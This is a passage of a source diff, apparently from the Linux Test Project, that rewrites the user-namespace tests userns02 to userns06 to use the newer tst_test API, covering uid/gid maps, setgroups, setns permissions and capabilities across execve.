== 100 && gid == 100) { - printf("Got expected uid and gid.\n"); - exit_val = 0; - } else { - printf("Got unexpected result of uid=%d gid=%d\n", uid, gid); - exit_val = 1; - } - - return exit_val; -} - -static void setup(void) -{ - check_newuser(); - tst_tmpdir(); - TST_CHECKPOINT_INIT(NULL); + TST_EXP_EQ_LI(uid, 100); + TST_EXP_EQ_LI(gid, 100); } -int main(int argc, char *argv[]) +static void run(void) { - int lc; + const struct tst_clone_args args = { + .flags = CLONE_NEWUSER, + .exit_signal = SIGCHLD, + }; int childpid; int parentuid; int parentgid; char path[BUFSIZ]; - char content[BUFSIZ]; - int fd; - - tst_parse_opts(argc, argv, NULL, NULL); - setup(); - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - childpid = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD, - (void *)child_fn1, NULL); - - if (childpid < 0) - tst_brkm(TFAIL | TERRNO, cleanup, "clone failed"); + childpid = SAFE_CLONE(&args); + if (!childpid) { + child_fn1(); + return; + } - parentuid = geteuid(); - parentgid = getegid(); - sprintf(path, "/proc/%d/uid_map", childpid); - sprintf(content, "100 %d 1", parentuid); - fd = SAFE_OPEN(cleanup, path, O_WRONLY, 0644); - SAFE_WRITE(cleanup, 1, fd, content, strlen(content)); - SAFE_CLOSE(cleanup, fd); + parentuid = geteuid(); + parentgid = getegid(); - if (access("/proc/self/setgroups", F_OK) == 0) { - sprintf(path, "/proc/%d/setgroups", childpid); - fd = SAFE_OPEN(cleanup, path, O_WRONLY, 0644); - SAFE_WRITE(cleanup, 1, fd, "deny", 4); - SAFE_CLOSE(cleanup, fd); - } + sprintf(path, "/proc/%d/uid_map", childpid); + SAFE_FILE_PRINTF(path, "100 %d 1", parentuid); - sprintf(path, "/proc/%d/gid_map", childpid); - sprintf(content, "100 %d 1", parentgid); - fd = SAFE_OPEN(cleanup, path, O_WRONLY, 0644); - SAFE_WRITE(cleanup, 1, fd, content, strlen(content)); - SAFE_CLOSE(cleanup, fd); + if (access("/proc/self/setgroups", F_OK) == 0) { + sprintf(path, "/proc/%d/setgroups", childpid); + SAFE_FILE_PRINTF(path, "deny"); + } - TST_SAFE_CHECKPOINT_WAKE(cleanup, 0); + sprintf(path, "/proc/%d/gid_map", childpid); + SAFE_FILE_PRINTF(path, "100 %d 1", parentgid); - tst_record_childstatus(cleanup, childpid); - } - cleanup(); - tst_exit(); + TST_CHECKPOINT_WAKE(0); } + +static struct tst_test test = { + .test_all = run, + .needs_root = 1, + .forks_child = 1, + .needs_checkpoints = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS", + NULL, + }, +}; diff --git a/testcases/kernel/containers/userns/userns03.c b/testcases/kernel/containers/userns/userns03.c index be511fec..fca85870 100755 --- a/testcases/kernel/containers/userns/userns03.c +++ b/testcases/kernel/containers/userns/userns03.c @@ -1,24 +1,22 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) Huawei Technologies Co., Ltd., 2015 - * This program is free software; you can redistribute it and/or modify it - * under the terms of the GNU General Public License as published by the Free - * Software Foundation; either version 2 of the License, or (at your option) - * any later version. This program is distributed in the hope that it will be - * useful, but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General - * Public License for more details. You should have received a copy of the GNU - * General Public License along with this program. + * Copyright (C) 2022 SUSE LLC Andrea Cervesato */ -/* - * Verify that: - * /proc/PID/uid_map and /proc/PID/gid_map contains three values separated by - * white space: +/*\ + * [Description] + * + * Verify that /proc/PID/uid_map and /proc/PID/gid_map contains three values + * separated by white space: + * * ID-inside-ns ID-outside-ns length * * ID-outside-ns is interpreted according to which process is opening the file. + * * If the process opening the file is in the same user namespace as the process * PID, then ID-outside-ns is defined with respect to the parent user namespace. + * * If the process opening the file is in a different user namespace, then * ID-outside-ns is defined with respect to the user namespace of the process * opening the file. @@ -26,29 +24,17 @@ * The string "deny" would be written to /proc/self/setgroups before GID * check if setgroups is allowed, see kernel commits: * - * commit 9cc46516ddf497ea16e8d7cb986ae03a0f6b92f8 - * Author: Eric W. Biederman - * Date: Tue Dec 2 12:27:26 2014 -0600 - * userns: Add a knob to disable setgroups on a per user namespace basis - * - * commit 66d2f338ee4c449396b6f99f5e75cd18eb6df272 - * Author: Eric W. Biederman - * Date: Fri Dec 5 19:36:04 2014 -0600 - * userns: Allow setting gid_maps without privilege when setgroups is disabled - * + * - 9cc46516ddf4 ("userns: Add a knob to disable setgroups on a per user namespace basis") + * - 66d2f338ee4c ("userns: Allow setting gid_maps without privilege when setgroups is disabled") */ #define _GNU_SOURCE -#include -#include + #include -#include #include -#include -#include -#include -#include "userns_helper.h" -#include "test.h" +#include "tst_test.h" +#include "lapi/sched.h" +#include "common.h" #define CHILD1UID 0 #define CHILD1GID 0 @@ -57,179 +43,148 @@ #define UID_MAP 0 #define GID_MAP 1 -char *TCID = "user_namespace3"; -int TST_TOTAL = 1; -static int cpid1, parentuid, parentgid; - -/* - * child_fn1() - Inside a new user namespace - */ -static int child_fn1(void) +static void child_fn1(void) { - TST_SAFE_CHECKPOINT_WAIT(NULL, 0); - return 0; + TST_CHECKPOINT_WAIT(0); } -/* - * child_fn2() - Inside a new user namespace - */ -static int child_fn2(void) +static void child_fn2(int cpid1, int parentuid, int parentgid) { - int exit_val = 0; int uid, gid; char cpid1uidpath[BUFSIZ]; char cpid1gidpath[BUFSIZ]; int idinsidens, idoutsidens, length; - TST_SAFE_CHECKPOINT_WAIT(NULL, 1); + TST_CHECKPOINT_WAIT(1); uid = geteuid(); gid = getegid(); - if (uid != CHILD2UID || gid != CHILD2GID) { - printf("unexpected uid=%d gid=%d\n", uid, gid); - exit_val = 1; - } + TST_EXP_EQ_LI(uid, CHILD2UID); + TST_EXP_EQ_LI(gid, CHILD2GID); - /*Get the uid parameters of the child_fn2 process.*/ - SAFE_FILE_SCANF(NULL, "/proc/self/uid_map", "%d %d %d", &idinsidens, - &idoutsidens, &length); + /* Get the uid parameters of the child_fn2 process */ + SAFE_FILE_SCANF("/proc/self/uid_map", "%d %d %d", &idinsidens, &idoutsidens, &length); /* map file format:ID-inside-ns ID-outside-ns length - If the process opening the file is in the same user namespace as - the process PID, then ID-outside-ns is defined with respect to the - parent user namespace.*/ - if (idinsidens != CHILD2UID || idoutsidens != parentuid) { - printf("child_fn2 checks /proc/cpid2/uid_map:\n"); - printf("unexpected: idinsidens=%d idoutsidens=%d\n", - idinsidens, idoutsidens); - exit_val = 1; - } + * If the process opening the file is in the same user namespace as + * the process PID, then ID-outside-ns is defined with respect to the + * parent user namespace + */ + tst_res(TINFO, "child2 checks /proc/cpid2/uid_map"); + + if (idinsidens != CHILD2UID || idoutsidens != parentuid) + tst_res(TFAIL, "unexpected: namespace ID inside=%d outside=%d", idinsidens, idoutsidens); + else + tst_res(TPASS, "expected namespaces IDs"); sprintf(cpid1uidpath, "/proc/%d/uid_map", cpid1); - SAFE_FILE_SCANF(NULL, cpid1uidpath, "%d %d %d", &idinsidens, - &idoutsidens, &length); + SAFE_FILE_SCANF(cpid1uidpath, "%d %d %d", &idinsidens, &idoutsidens, &length); /* If the process opening the file is in a different user namespace, - then ID-outside-ns is defined with respect to the user namespace - of the process opening the file.*/ - if (idinsidens != CHILD1UID || idoutsidens != CHILD2UID) { - printf("child_fn2 checks /proc/cpid1/uid_map:\n"); - printf("unexpected: idinsidens=%d idoutsidens=%d\n", - idinsidens, idoutsidens); - exit_val = 1; - } + * then ID-outside-ns is defined with respect to the user namespace + * of the process opening the file + */ + tst_res(TINFO, "child2 checks /proc/cpid1/uid_map"); + + if (idinsidens != CHILD1UID || idoutsidens != CHILD2UID) + tst_res(TFAIL, "unexpected: namespace ID inside=%d outside=%d", idinsidens, idoutsidens); + else + tst_res(TPASS, "expected namespaces IDs"); sprintf(cpid1gidpath, "/proc/%d/gid_map", cpid1); - SAFE_FILE_SCANF(NULL, "/proc/self/gid_map", "%d %d %d", - &idinsidens, &idoutsidens, &length); - - if (idinsidens != CHILD2GID || idoutsidens != parentgid) { - printf("child_fn2 checks /proc/cpid2/gid_map:\n"); - printf("unexpected: idinsidens=%d idoutsidens=%d\n", - idinsidens, idoutsidens); - exit_val = 1; - } + SAFE_FILE_SCANF("/proc/self/gid_map", "%d %d %d", &idinsidens, &idoutsidens, &length); - SAFE_FILE_SCANF(NULL, cpid1gidpath, "%d %d %d", &idinsidens, - &idoutsidens, &length); + tst_res(TINFO, "child2 checks /proc/cpid2/gid_map"); - if (idinsidens != CHILD1GID || idoutsidens != CHILD2GID) { - printf("child_fn1 checks /proc/cpid1/gid_map:\n"); - printf("unexpected: idinsidens=%d idoutsidens=%d\n", - idinsidens, idoutsidens); - exit_val = 1; - } + if (idinsidens != CHILD2GID || idoutsidens != parentgid) + tst_res(TFAIL, "unexpected: namespace ID inside=%d outside=%d", idinsidens, idoutsidens); + else + tst_res(TPASS, "expected namespaces IDs"); - TST_SAFE_CHECKPOINT_WAKE(NULL, 0); - TST_SAFE_CHECKPOINT_WAKE(NULL, 1); - return exit_val; -} + SAFE_FILE_SCANF(cpid1gidpath, "%d %d %d", &idinsidens, &idoutsidens, &length); -static void cleanup(void) -{ - tst_rmdir(); -} + tst_res(TINFO, "child1 checks /proc/cpid1/gid_map"); -static void setup(void) -{ - check_newuser(); - tst_tmpdir(); - TST_CHECKPOINT_INIT(NULL); + if (idinsidens != CHILD1GID || idoutsidens != CHILD2GID) + tst_res(TFAIL, "unexpected: namespace ID inside=%d outside=%d", idinsidens, idoutsidens); + else + tst_res(TPASS, "expected namespaces IDs"); + + TST_CHECKPOINT_WAKE(0); + TST_CHECKPOINT_WAKE(1); } -int main(int argc, char *argv[]) +static void run(void) { - pid_t cpid2; + const struct tst_clone_args args = { + .flags = CLONE_NEWUSER, + .exit_signal = SIGCHLD, + }; + pid_t cpid1, cpid2; + uid_t parentuid; + gid_t parentgid; char path[BUFSIZ]; - int lc; int fd; - int ret; - - tst_parse_opts(argc, argv, NULL, NULL); - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - - parentuid = geteuid(); - parentgid = getegid(); - - cpid1 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD, - (void *)child_fn1, NULL); - if (cpid1 < 0) - tst_brkm(TBROK | TERRNO, cleanup, - "cpid1 clone failed"); - - cpid2 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD, - (void *)child_fn2, NULL); - if (cpid2 < 0) - tst_brkm(TBROK | TERRNO, cleanup, - "cpid2 clone failed"); - - if (access("/proc/self/setgroups", F_OK) == 0) { - sprintf(path, "/proc/%d/setgroups", cpid1); - fd = SAFE_OPEN(cleanup, path, O_WRONLY, 0644); - SAFE_WRITE(cleanup, 1, fd, "deny", 4); - SAFE_CLOSE(cleanup, fd); - /* If the setgroups file has the value "deny", - * then the setgroups(2) system call can't - * subsequently be reenabled (by writing "allow" to - * the file) in this user namespace. (Attempts to - * do so will fail with the error EPERM.) - */ - - /* test that setgroups can't be re-enabled */ - fd = SAFE_OPEN(cleanup, path, O_WRONLY, 0644); - ret = write(fd, "allow", 5); - - if (ret != -1) { - tst_brkm(TBROK | TERRNO, cleanup, - "write action should fail"); - } else if (errno != EPERM) { - tst_brkm(TBROK | TERRNO, cleanup, - "unexpected error: \n"); - } - SAFE_CLOSE(cleanup, fd); - tst_resm(TPASS, "setgroups can't be re-enabled"); - - sprintf(path, "/proc/%d/setgroups", cpid2); - fd = SAFE_OPEN(cleanup, path, O_WRONLY, 0644); - SAFE_WRITE(cleanup, 1, fd, "deny", 4); - SAFE_CLOSE(cleanup, fd); - } - - updatemap(cpid1, UID_MAP, CHILD1UID, parentuid, cleanup); - updatemap(cpid2, UID_MAP, CHILD2UID, parentuid, cleanup); - - updatemap(cpid1, GID_MAP, CHILD1GID, parentgid, cleanup); - updatemap(cpid2, GID_MAP, CHILD2GID, parentgid, cleanup); - - TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(cleanup, 1); - - tst_record_childstatus(cleanup, cpid1); - tst_record_childstatus(cleanup, cpid2); + + parentuid = geteuid(); + parentgid = getegid(); + + cpid1 = SAFE_CLONE(&args); + if (!cpid1) { + child_fn1(); + return; + } + + cpid2 = SAFE_CLONE(&args); + if (!cpid2) { + child_fn2(cpid1, parentuid, parentgid); + return; + } + + if (access("/proc/self/setgroups", F_OK) == 0) { + sprintf(path, "/proc/%d/setgroups", cpid1); + + fd = SAFE_OPEN(path, O_WRONLY, 0644); + SAFE_WRITE(SAFE_WRITE_ALL, fd, "deny", 4); + SAFE_CLOSE(fd); + + /* If the setgroups file has the value "deny", + * then the setgroups(2) system call can't + * subsequently be reenabled (by writing "allow" to + * the file) in this user namespace. (Attempts to + * do so will fail with the error EPERM.) + */ + + tst_res(TINFO, "Check if setgroups can be re-enabled"); + + fd = SAFE_OPEN(path, O_WRONLY, 0644); + TST_EXP_FAIL2(write(fd, "allow", 5), EPERM); + SAFE_CLOSE(fd); + + sprintf(path, "/proc/%d/setgroups", cpid2); + + fd = SAFE_OPEN(path, O_WRONLY, 0644); + SAFE_WRITE(SAFE_WRITE_ALL, fd, "deny", 4); + SAFE_CLOSE(fd); } - cleanup(); - tst_exit(); + + updatemap(cpid1, UID_MAP, CHILD1UID, parentuid); + updatemap(cpid2, UID_MAP, CHILD2UID, parentuid); + + updatemap(cpid1, GID_MAP, CHILD1GID, parentgid); + updatemap(cpid2, GID_MAP, CHILD2GID, parentgid); + + TST_CHECKPOINT_WAKE_AND_WAIT(1); } + +static struct tst_test test = { + .test_all = run, + .needs_root = 1, + .forks_child = 1, + .needs_checkpoints = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS", + NULL, + }, +}; diff --git a/testcases/kernel/containers/userns/userns04.c b/testcases/kernel/containers/userns/userns04.c index f7d6e800..d20041f0 100755 --- a/testcases/kernel/containers/userns/userns04.c +++ b/testcases/kernel/containers/userns/userns04.c @@ -1,131 +1,79 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) Huawei Technologies Co., Ltd., 2015 - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. + * Copyright (C) 2022 SUSE LLC Andrea Cervesato */ -/* - * Verify that: - * If a namespace isn't another namespace's ancestor, the process in - * first namespace does not have the CAP_SYS_ADMIN capability in the - * second namespace and the setns() call fails. +/*\ + * [Description] + * + * Verify that if a namespace isn't another namespace's ancestor, the process in + * first namespace does not have the CAP_SYS_ADMIN capability in the second + * namespace and the setns() call fails. */ #define _GNU_SOURCE -#include -#include -#include -#include -#include -#include -#include -#include "userns_helper.h" -#include "test.h" - -char *TCID = "user_namespace4"; -int TST_TOTAL = 1; - -static void setup(void) -{ - check_newuser(); - ltp_syscall(__NR_setns, -1, 0); - tst_tmpdir(); - TST_CHECKPOINT_INIT(NULL); -} -static void cleanup(void) -{ - tst_rmdir(); -} +#include +#include "tst_test.h" +#include "lapi/sched.h" -static int child_fn1(void *arg LTP_ATTRIBUTE_UNUSED) +static void child_fn1(void) { - TST_SAFE_CHECKPOINT_WAIT(NULL, 0); - return 0; + TST_CHECKPOINT_WAIT(0); } -static int child_fn2(void *arg) +static void child_fn2(int fd) { - int exit_val = 0; - int ret; - - ret = ltp_syscall(__NR_setns, ((long)arg), CLONE_NEWUSER); - if (ret != -1) { - printf("child2 setns() unexpected success\n"); - exit_val = 1; - } else if (errno != EPERM) { - printf("child2 setns() unexpected error: (%d) %s\n", - errno, strerror(errno)); - exit_val = 1; - } - - TST_SAFE_CHECKPOINT_WAIT(NULL, 1); - return exit_val; + TST_EXP_FAIL(setns(fd, CLONE_NEWUSER), EPERM); + TST_CHECKPOINT_WAIT(1); } -static void test_cap_sys_admin(void) +static void run(void) { + const struct tst_clone_args args = { + .flags = CLONE_NEWUSER, + .exit_signal = SIGCHLD, + }; pid_t cpid1, cpid2, cpid3; char path[BUFSIZ]; int fd; - /* child 1 */ - cpid1 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD, - (void *)child_fn1, NULL); - if (cpid1 < 0) - tst_brkm(TBROK | TERRNO, cleanup, "clone failed"); + cpid1 = SAFE_CLONE(&args); + if (!cpid1) { + child_fn1(); + return; + } - /* child 2 */ sprintf(path, "/proc/%d/ns/user", cpid1); - fd = SAFE_OPEN(cleanup, path, O_RDONLY, 0644); - cpid2 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD, - (void *)child_fn2, (void *)((long)fd)); - if (cpid2 < 0) - tst_brkm(TBROK | TERRNO, cleanup, "clone failed"); - /* child 3 - throw-away process changing ns to child1 */ - switch (cpid3 = fork()) { - case -1: - tst_brkm(TBROK | TERRNO, cleanup, "fork"); - case 0: - if (ltp_syscall(__NR_setns, fd, CLONE_NEWUSER) == -1) { - printf("parent pid setns failure: (%d) %s", - errno, strerror(errno)); - exit(1); - } - exit(0); - } + fd = SAFE_OPEN(path, O_RDONLY, 0644); - TST_SAFE_CHECKPOINT_WAKE(cleanup, 0); - TST_SAFE_CHECKPOINT_WAKE(cleanup, 1); + cpid2 = SAFE_CLONE(&args); + if (!cpid2) { + child_fn2(fd); + return; + } - tst_record_childstatus(cleanup, cpid1); - tst_record_childstatus(cleanup, cpid2); - tst_record_childstatus(cleanup, cpid3); + cpid3 = SAFE_FORK(); + if (!cpid3) { + TST_EXP_PASS(setns(fd, CLONE_NEWUSER)); + return; + } - SAFE_CLOSE(cleanup, fd); + TST_CHECKPOINT_WAKE(0); + TST_CHECKPOINT_WAKE(1); + SAFE_CLOSE(fd); } -int main(int argc, char *argv[]) -{ - int lc; - - setup(); - tst_parse_opts(argc, argv, NULL, NULL); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - test_cap_sys_admin(); - } - - cleanup(); - tst_exit(); -} +static struct tst_test test = { + .test_all = run, + .needs_root = 1, + .forks_child = 1, + .needs_checkpoints = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS", + NULL, + }, +}; diff --git a/testcases/kernel/containers/userns/userns05.c b/testcases/kernel/containers/userns/userns05.c index be77cb7e..e7a00af1 100755 --- a/testcases/kernel/containers/userns/userns05.c +++ b/testcases/kernel/containers/userns/userns05.c @@ -1,52 +1,29 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) Huawei Technologies Co., Ltd., 2015 - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. + * Copyright (C) 2022 SUSE LLC Andrea Cervesato */ -/* - * Verify that: - * A process created via fork(2) or clone(2) without the - * CLONE_NEWUSER flag is a member of the same user namespace as its - * parent. - * When unshare an user namespace, the calling process is moved into - * a new user namespace which is not shared with any previously - * existing process. +/*\ + * [Description] + * + * Verify that if a process created via fork(2) or clone(2) without the + * CLONE_NEWUSER flag is a member of the same user namespace as its parent. + * + * When unshare an user namespace, the calling process is moved into a new user + * namespace which is not shared with any previously existing process. */ #define _GNU_SOURCE -#include -#include -#include -#include -#include -#include -#include -#include "userns_helper.h" -#include "test.h" - -char *TCID = "user_namespace5"; -int TST_TOTAL = 1; -static void cleanup(void) -{ - tst_rmdir(); -} +#include +#include "tst_test.h" +#include "lapi/sched.h" +#include "common.h" -/* - * child_fn1() - Inside a new user namespace - */ -static int child_fn1(void) +static void child_fn1(void) { - TST_SAFE_CHECKPOINT_WAIT(NULL, 0); - return 0; + TST_CHECKPOINT_WAIT(0); } static unsigned int getusernsidbypid(int pid) @@ -57,86 +34,76 @@ static unsigned int getusernsidbypid(int pid) sprintf(path, "/proc/%d/ns/user", pid); - if (readlink(path, userid, BUFSIZ) == -1) - tst_resm(TFAIL | TERRNO, "readlink failure."); + SAFE_READLINK(path, userid, BUFSIZ); + + if (sscanf(userid, "user:[%u]", &id) < 0) + tst_brk(TBROK | TERRNO, "sscanf failure"); - if (sscanf(userid, "user:[%u]", &id) != 1) - tst_resm(TFAIL, "sscanf failure."); return id; } -static void test_userns_id(void) +static void run(void) { + const struct tst_clone_args args1 = { .exit_signal = SIGCHLD }; + const struct tst_clone_args args2 = { + .flags = CLONE_NEWUSER, + .exit_signal = SIGCHLD, + }; int cpid1, cpid2, cpid3; unsigned int parentuserns, cpid1userns, cpid2userns, newparentuserns; parentuserns = getusernsidbypid(getpid()); - cpid1 = ltp_clone_quick(SIGCHLD, (void *)child_fn1, - NULL); - if (cpid1 < 0) - tst_brkm(TBROK | TERRNO, cleanup, "clone failed"); + + cpid1 = SAFE_CLONE(&args1); + if (!cpid1) { + child_fn1(); + return; + } + cpid1userns = getusernsidbypid(cpid1); - TST_SAFE_CHECKPOINT_WAKE(cleanup, 0); - /* A process created via fork(2) or clone(2) without the - CLONE_NEWUSER flag is a member of the same user namespace as its - parent.*/ - if (parentuserns != cpid1userns) - tst_resm(TFAIL, "userns:parent should be equal to cpid1"); - - cpid2 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD, - (void *)child_fn1, NULL); - if (cpid2 < 0) - tst_brkm(TBROK | TERRNO, cleanup, "clone failed"); - cpid2userns = getusernsidbypid(cpid2); - TST_SAFE_CHECKPOINT_WAKE(cleanup, 0); - - if (parentuserns == cpid2userns) - tst_resm(TFAIL, "userns:parent should be not equal to cpid2"); - - switch (cpid3 = fork()) { - case -1: - tst_brkm(TBROK | TERRNO, cleanup, "fork"); - case 0: - if (unshare(CLONE_NEWUSER) == -1) { - printf("parent pid unshare failure: (%d) %s", - errno, strerror(errno)); - exit(1); - } - newparentuserns = getusernsidbypid(getpid()); + TST_CHECKPOINT_WAKE(0); - /* When unshare an user namespace, the calling process - is moved into a new user namespace which is not shared - with any previously existing process.*/ - if (parentuserns == newparentuserns) - exit(1); - exit(0); + /* A process created via fork(2) or clone(2) without the + * CLONE_NEWUSER flag is a member of the same user namespace as its + * parent + */ + TST_EXP_EQ_LI(parentuserns, cpid1userns); + + cpid2 = SAFE_CLONE(&args2); + if (!cpid2) { + child_fn1(); + return; } - tst_record_childstatus(cleanup, cpid1); - tst_record_childstatus(cleanup, cpid2); - tst_record_childstatus(cleanup, cpid3); -} - -static void setup(void) -{ - check_newuser(); + cpid2userns = getusernsidbypid(cpid2); - tst_tmpdir(); - TST_CHECKPOINT_INIT(NULL); -} + TST_CHECKPOINT_WAKE(0); -int main(int argc, char *argv[]) -{ - int lc; + TST_EXP_EXPR(parentuserns != cpid2userns, + "parent namespace != child namespace"); - tst_parse_opts(argc, argv, NULL, NULL); - setup(); + cpid3 = SAFE_FORK(); + if (!cpid3) { + SAFE_UNSHARE(CLONE_NEWUSER); + newparentuserns = getusernsidbypid(getpid()); - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - test_userns_id(); + /* When unshare an user namespace, the calling process + * is moved into a new user namespace which is not shared + * with any previously existing process + */ + TST_EXP_EXPR(parentuserns != newparentuserns, + "parent namespace != unshared child namespace"); } - cleanup(); - tst_exit(); } + +static struct tst_test test = { + .test_all = run, + .needs_root = 1, + .forks_child = 1, + .needs_checkpoints = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS", + NULL, + }, +}; diff --git a/testcases/kernel/containers/userns/userns06.c b/testcases/kernel/containers/userns/userns06.c index 29f635de..a270dafd 100755 --- a/testcases/kernel/containers/userns/userns06.c +++ b/testcases/kernel/containers/userns/userns06.c @@ -1,163 +1,132 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) Huawei Technologies Co., Ltd., 2015 - * This program is free software; you can redistribute it and/or modify it - * under the terms of the GNU General Public License as published by the Free - * Software Foundation; either version 2 of the License, or (at your option) - * any later version. This program is distributed in the hope that it will be - * useful, but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General - * Public License for more details. You should have received a copy of the GNU - * General Public License along with this program. + * Copyright (C) 2022 SUSE LLC Andrea Cervesato */ -/* - * Verify that: - * When a process with non-zero user IDs performs an execve(), the process's - * capability sets are cleared. +/*\ + * [Description] + * + * Verify that when a process with non-zero user IDs performs an execve(), + * the process's capability sets are cleared. * When a process with zero user IDs performs an execve(), the process's * capability sets are set. - * */ +#include "tst_test.h" +#include "config.h" + +#ifdef HAVE_LIBCAP #define _GNU_SOURCE -#include -#include + #include -#include -#include -#include -#include -#include -#include "libclone.h" -#include "test.h" -#include "config.h" -#include "userns_helper.h" +#include "lapi/sched.h" +#include "common.h" + +#define TEST_APP "userns06_capcheck" #define CHILD1UID 0 #define CHILD1GID 0 #define CHILD2UID 200 #define CHILD2GID 200 -char *TCID = "user_namespace6"; -int TST_TOTAL = 1; - -static int cpid1, parentuid, parentgid; - -/* - * child_fn1() - Inside a new user namespace - */ -static int child_fn1(void) +static void child_fn1(void) { - int exit_val = 0; - char *const args[] = { "userns06_capcheck", "privileged", NULL }; - - TST_SAFE_CHECKPOINT_WAIT(NULL, 0); + char *const args[] = { TEST_APP, "privileged", NULL }; + int ret; - if (execve(args[0], args, NULL) == -1) { - printf("execvp unexpected error: (%d) %s\n", - errno, strerror(errno)); - exit_val = 1; - } + TST_CHECKPOINT_WAIT(0); - return exit_val; + ret = execv(args[0], args); + if (ret == -1) + tst_brk(TBROK | TERRNO, "execv: unexpected error"); } -/* - * child_fn2() - Inside a new user namespace - */ -static int child_fn2(void) +static void child_fn2(void) { - int exit_val = 0; - int uid, gid; - char *const args[] = { "userns06_capcheck", "unprivileged", NULL }; + int uid, gid, ret; + char *const args[] = { TEST_APP, "unprivileged", NULL }; - TST_SAFE_CHECKPOINT_WAIT(NULL, 1); + TST_CHECKPOINT_WAIT(1); uid = geteuid(); gid = getegid(); - if (uid != CHILD2UID || gid != CHILD2GID) { - printf("unexpected uid=%d gid=%d\n", uid, gid); - exit_val = 1; - } + TST_EXP_EQ_LI(uid, CHILD2UID); + TST_EXP_EQ_LI(gid, CHILD2GID); - if (execve(args[0], args, NULL) == -1) { - printf("execvp unexpected error: (%d) %s\n", - errno, strerror(errno)); - exit_val = 1; - } - - return exit_val; -} - -static void cleanup(void) -{ - tst_rmdir(); -} - -static void setup(void) -{ - check_newuser(); - tst_tmpdir(); - TST_CHECKPOINT_INIT(NULL); - TST_RESOURCE_COPY(cleanup, "userns06_capcheck", NULL); + ret = execv(args[0], args); + if (ret == -1) + tst_brk(TBROK | TERRNO, "execv: unexpected error"); } -int main(int argc, char *argv[]) +static void run(void) { + const struct tst_clone_args args = { + .flags = CLONE_NEWUSER, + .exit_signal = SIGCHLD, + }; + pid_t cpid1; pid_t cpid2; + int parentuid; + int parentgid; char path[BUFSIZ]; - int lc; int fd; - tst_parse_opts(argc, argv, NULL, NULL); -#ifndef HAVE_LIBCAP - tst_brkm(TCONF, NULL, "System is missing libcap."); -#endif - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; + parentuid = geteuid(); + parentgid = getegid(); - parentuid = geteuid(); - parentgid = getegid(); + cpid1 = SAFE_CLONE(&args); + if (!cpid1) { + child_fn1(); + return; + } - cpid1 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD, - (void *)child_fn1, NULL); - if (cpid1 < 0) - tst_brkm(TBROK | TERRNO, cleanup, - "cpid1 clone failed"); + cpid2 = SAFE_CLONE(&args); + if (!cpid2) { + child_fn2(); + return; + } - cpid2 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD, - (void *)child_fn2, NULL); - if (cpid2 < 0) - tst_brkm(TBROK | TERRNO, cleanup, - "cpid2 clone failed"); + if (access("/proc/self/setgroups", F_OK) == 0) { + sprintf(path, "/proc/%d/setgroups", cpid1); - if (access("/proc/self/setgroups", F_OK) == 0) { - sprintf(path, "/proc/%d/setgroups", cpid1); - fd = SAFE_OPEN(cleanup, path, O_WRONLY, 0644); - SAFE_WRITE(cleanup, 1, fd, "deny", 4); - SAFE_CLOSE(cleanup, fd); + fd = SAFE_OPEN(path, O_WRONLY, 0644); + SAFE_WRITE(SAFE_WRITE_ALL, fd, "deny", 4); + SAFE_CLOSE(fd); - sprintf(path, "/proc/%d/setgroups", cpid2); - fd = SAFE_OPEN(cleanup, path, O_WRONLY, 0644); - SAFE_WRITE(cleanup, 1, fd, "deny", 4); - SAFE_CLOSE(cleanup, fd); - } + sprintf(path, "/proc/%d/setgroups", cpid2); - updatemap(cpid1, UID_MAP, CHILD1UID, parentuid, cleanup); - updatemap(cpid2, UID_MAP, CHILD2UID, parentuid, cleanup); + fd = SAFE_OPEN(path, O_WRONLY, 0644); + SAFE_WRITE(SAFE_WRITE_ALL, fd, "deny", 4); + SAFE_CLOSE(fd); + } - updatemap(cpid1, GID_MAP, CHILD1GID, parentgid, cleanup); - updatemap(cpid2, GID_MAP, CHILD2GID, parentgid, cleanup); + updatemap(cpid1, UID_MAP, CHILD1UID, parentuid); + updatemap(cpid2, UID_MAP, CHILD2UID, parentuid); - TST_SAFE_CHECKPOINT_WAKE(cleanup, 0); - TST_SAFE_CHECKPOINT_WAKE(cleanup, 1); + updatemap(cpid1, GID_MAP, CHILD1GID, parentgid); + updatemap(cpid2, GID_MAP, CHILD2GID, parentgid); - tst_record_childstatus(cleanup, cpid1); - tst_record_childstatus(cleanup, cpid2); - } - cleanup(); - tst_exit(); + 